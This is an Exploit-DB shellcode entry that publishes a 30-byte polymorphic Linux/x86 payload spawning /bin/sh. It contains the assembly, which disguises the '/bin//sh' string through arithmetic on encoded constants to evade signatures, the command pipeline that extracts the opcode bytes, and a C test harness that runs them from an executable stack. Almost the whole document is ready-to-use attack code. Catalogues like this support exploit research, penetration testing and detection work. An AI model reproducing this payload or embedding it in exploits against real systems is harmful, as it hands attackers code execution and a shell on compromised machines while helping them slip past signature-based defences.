Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (30 bytes)

EDB-ID: 42977
Author: Manuel Mancera
Published: 2017-10-12
CVE: N/A
Type: Shellcode
Platform: Lin_x86
Shellcode: Download Shellcode Code Download / View Raw
Shellcode Size: 30 bytes

  Title: Linux/x86 - Polymorphic execve /bin/sh x86 shellcode - 30 bytes 
Author: Manuel Mancera (@sinkmanu)
Tested on: Linux 3.16.0-4-586 #1 Debian 3.16.43-2+deb8u2 (2017-06-26)
i686 GNU/Linux

----------------- Assembly code -------------------

global _start

section .text
_start:
xor eax, eax
push eax
mov edi, 0x978cd092
mov ebx, edi
neg edi
push edi
sub ebx, 0x2e2aa163
push ebx
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 11
int 0x80

---------------------------------------------------
$ nasm -f elf32 poly-execve.nasm -o poly-execve.o
$ ld poly-execve.o -o poly-execve
$ objdump -d ./poly-execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2
-d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/
/\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x50\xbf\x92\xd0\x8c\x97\x89\xfb\xf7\xdf\x57\x81\xeb\x63\xa1\x2a\x2e\x53\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode
Length: 30 bytes
$
*/

#include <stdio.h>
#include <string.h>

const char code[] = \
"\x31\xc0\x50\xbf\x92\xd0\x8c\x97\x89\xfb\xf7\xdf\x57\x81\xeb\x63\xa1\x2a\x2e\x53\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main()
{
printf("Length: %d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}

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